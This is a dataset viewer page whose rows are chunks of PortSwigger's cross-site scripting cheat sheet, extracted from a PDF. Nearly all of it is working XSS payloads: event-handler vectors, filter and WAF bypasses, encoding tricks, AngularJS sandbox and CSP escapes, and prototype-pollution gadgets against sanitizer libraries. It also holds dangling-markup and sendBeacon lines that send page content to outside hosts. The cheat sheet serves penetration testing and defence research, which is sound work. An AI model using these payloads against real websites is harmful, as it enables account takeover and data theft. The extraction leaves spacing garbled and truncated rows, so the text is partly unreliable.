Dataset Viewer
Auto-converted to Parquet Duplicate
text
stringlengths
1.21k
4.83k
source
stringclasses
1 value
Cross-site scripting (XSS) cheat sheet This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass W AFs and filters. Y ou can select vectors by the event, tag or browser and a proof of concept is included for every vector. This is a Port Swigger Research project. Follow us on T witter to...
cheat-sheet.pdf
oncanplaythrough Fires when enough data has been loaded to play the resource all the way through<video oncanplaythrough=alert(1)><source src="validvideo. mp4" type="video/mp4"></video>Compatibility: oncuechange Fires when subtitle changes<video controls><source src=validvideo. mp4 type=video/mp4><track default oncuecha...
cheat-sheet.pdf
Fires when the page is shown<body onpageshow=alert(1)> Compatibility: onplay Fires when the resource is played<audio autoplay onplay=alert(1)><source src="validaudio. wav" type="audio/wav"></audio>Compatibility: onplaying Fires the resource is playing<audio autoplay onplaying=alert(1)><source src="validaudio. wav" type...
cheat-sheet.pdf
onunhandledrejection Fires when a promise isn't handled<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script> Compatibility: onunload Fires when the page is unloaded<body onunload=navigator. send Beacon('//https://ssl. portswigger-labs. net/',document. body. inner HTML)>Compatibility: onwebkitanimationend ...
cheat-sheet.pdf
Requires as change of value<input onchange=alert(1) value=xss> Compatibility: onclick Requires a click of the element<xss onclick="alert(1)" style=display:block>test</xss> Compatibility: onclose Fires when a dialog is closed<dialog open onclose=alert(1)><form method=dialog><button>XSS</button> </form>Compatibility: onc...
cheat-sheet.pdf
onformdata Triggered when a form is submitted<form onformdata="alert(1)"><button>Click</button></form> Compatibility: onfullscreenchange Fires when a video changes full screen status<video onfullscreenchange=alert(1) src=validvideo. mp4 controls> Compatibility: oninput Requires as change of value<input oninput=alert(1)...
cheat-sheet.pdf
Fires when a video changes full screen status g () p p y onpagehide Fires when the page is changed<body onpagehide=navigator. send Beacon('//https://ssl. portswigger-labs. net/',document. body. inner HTML)>Compatibility: onpaste Requires you paste a piece of text<a onpaste="alert(1)" contenteditable>test</a> Compatibil...
cheat-sheet.pdf
onseeked Requires clicking the element timeline<audio autoplay controls onseeked=alert(1)><source src="validaudio. wav" type="audio/wav"></audio>Compatibility: onseeking Requires clicking the element timeline<audio autoplay controls onseeking=alert(1)><source src="validaudio. wav" type="audio/wav"></audio>Compatibility...
cheat-sheet.pdf
onwebkitwillrevealbottom Requires a click from a laptop touchpad. <xss onwebkitwillrevealbottom=alert(1)>XSS</xss> Compatibility: onwheel Fires when you use the mouse wheel<body onwheel=alert(1)> Compatibility: Consuming tags Noembed consuming tag<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed> Nos...
cheat-sheet.pdf
colons using expressions No parentheses using exception handling and string eval on Chrome / Edge<script>throw onerror=eval,'=alert\x281\x29'</script> No parentheses using exception handling and string eval on Safari<script>throw onerror=eval,'alert\x281\x29'</script> No parentheses using exception handling and object ...
cheat-sheet.pdf
XSS without greater using a HTML comment<svg onload=alert(1)<!-- Array based destructuring using onerror<script>throw[onerror]=[alert],1</script> Destructuring using onerror<script>var{a:onerror}={a:alert};throw 1</script> Destructuring using default values and onerror<script>var{haha:onerror=alert}=0;throw 1</script> ...
cheat-sheet.pdf
Xlink namespace inside SVG with Java Script protocol<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a> SVG animate tag using values<svg><animate xlink:href=#xss attribute Name=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a> SVG animate tag using to<svg><animate xlink...
cheat-sheet.pdf
xmlns='http://www. w3. org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> Animate tag with auto executing use element<svg><animate xlink:href="#x" attribute Name="href" values="data:image/svg+xml,&lt;svg id='x' xmlns='http://www. w3. org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&g...
cheat-sheet.pdf
Set window. name via parameter on the window. open function<a href=# onclick="window. open('http://subdomain1. portswigger-labs. net/xss/xss. php? context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a> Set window. name via name attribute in a <iframe> tag<iframe name="alert(1)" src="https://portswigger-labs....
cheat-sheet.pdf
Disable Java Script via iframe sandbox<iframe sandbox src="//portswigger-labs. net"></iframe> Disable referer<meta name="referrer" content="no-referrer"> Encoding Overlong UTF-8%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1) </script> ...
cheat-sheet.pdf
HTML entities and URL encoding<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a> Obfuscation Data protocol inside script src with base64<script src=data:text/javascript;base64,YWxlcn Qo MSk=></script> Data protocol inside script src with base64 and HTML entities<script src=data:text/javascript;base64,&#x59;&#x57...
cheat-sheet.pdf
Lewis Ardern & Pwn Function (Independent consultant) Version 2 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)39<p v-show="_c. constructor`alert(1)`()"> Version 2 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)52<x v-on:click='_b. constructor`alert(1...
cheat-sheet.pdf
Version 2 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)52<x title=&lt;iframe&Tab;onload&Tab;=alert(1)&gt;> Version 2 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)73<x title"="&lt;iframe&Tab;onload&Tab;=set Timeout(/alert(1)/. source)&gt;"> Versio...
cheat-sheet.pdf
Version 3 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)41<x @[_open Block. constructoralert(1)()]> Version 3 Gareth Heyes (Port Swigger) & Lewis Ardern & Pwn Function (Independent consultant)42<x @[_capitalize. constructor`alert(1)`()]> Version 3 Gareth Heyes (Port Swigger) & Lewis ...
cheat-sheet.pdf
(apply = constructor) && (value Of = call) && (''+''. to String( 'F = Function. prototype;' + 'F. apply = F. a;' + 'delete F. a;' + 'delete F. value Of;' + 'alert(1);' )));}} 1. 3. 3-1. 3. 18 Gareth Heyes (Port Swigger) 128{{{}[{to String:[]. join,length:1,0:'__proto__'}]. assign= []. join;'a'. constructor. prototype. ...
cheat-sheet.pdf
>=1. 6. 0 Mario Heiderich (Cure53) 37constructor. constructor('alert(1)')() 1. 4. 4 (without strings)Gareth Heyes (Port Swigger) 134to String(). constructor. prototype. char At=[]. join; [1,2]|order By:to String(). constructor. from Char Code(120,61,97,108,101,11 4,116,40,49,41) Angular JS CSP bypasses Version: Author:...
cheat-sheet.pdf
Video using source element and src attribute<video><source src="//evil? Audio using source element and src attribute<audio><source src="//evil? Input src<input type=image src="//evil? Button using formaction<form><button style="width:100%;height:100%" type=submit formaction="//evil? Input using formaction<form><input ...
cheat-sheet.pdf
Using base href to pass data<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/ Using embed window name to pass data from the page<embed src=http://subdomain1. portswigger-labs. net/dangling_markup/name. html name=" Using iframe window name to pass data from the page<i...
cheat-sheet.pdf
XSS into a Java Script string: string concatenation (parent)';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);// XSS into a Java Script string: string concatenation (frames)';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);// XSS into a Java Script string: string concatenation (global This)';global This['...
cheat-sheet.pdf
XSS into a Java Script string: hex escape sequence and base64 encoded string (window)';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"] (window["\x61\x74\x6f\x62"]("WFNT"))');// XSS into a Java Script string: hex escape sequence and base64 encoded string (self)';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x7...
cheat-sheet.pdf
XSS into a Java Script string: unicode escape (top)';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');// XSS into a Java Script string: unicode escape (parent)';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');// XSS into a Java Script string: unicode escape (f...
cheat-sheet.pdf
XSS into a Java Script string: Hieroglyphy/JSFuck (global This)';global This[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!! []]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);// Content types This section lists content-types that can be used for XSS with the X-Content-T ype-Options: nosnif f header ac...
cheat-sheet.pdf
Prototype pollution Injection occurs inside double quoted src attribute of a image element The double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute. N/A N/A🔗 Library Payload Author Version Fingerprint Wistia Embedded Video<script> Object. prototype. inner HTML = '<img/sr...
cheat-sheet.pdf
_. template('test') </script> sanitize-html <script> Object. prototype['*'] = ['onload']</script> <script> document. write(sanitize Html('<iframe onload=alert(1)>')) </script>Michał Bentkowskireturn (typeof sanitize Html !== 'undefined') js-xss <script> Object. prototype. white List = {img: ['onerror', 'src']} </script...
cheat-sheet.pdf
Classic vectors (XSS crypt) Image src with Java Script protocol<img src="javascript:alert(1)"> Body background with Java Script protocol<body background="javascript:alert(1)"> Iframe data urls no longer work as modern browsers use a null origin<iframe src="data:text/html,<img src=1 onerror=alert(document. domain)>"> VB...
cheat-sheet.pdf
Behaviors for older modes of IE<a style="behavior:url(#default#Anchor Click);" folder="javascript:alert(1)">XSS</a> Older versions of IE supported event handlers in functions<script> function window. onload(){ alert(1); } </script> <script> function window::onload(){ alert(1); } </script> <script> function window. loca...
cheat-sheet.pdf
Credits Brought to you by Port Swigger Research. Created by @garethheyes. This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, Lever One, Ben Hayak, Alex Inführ, Mathias Karlsson, J...
cheat-sheet.pdf
README.md exists but content is empty.
Downloads last month
8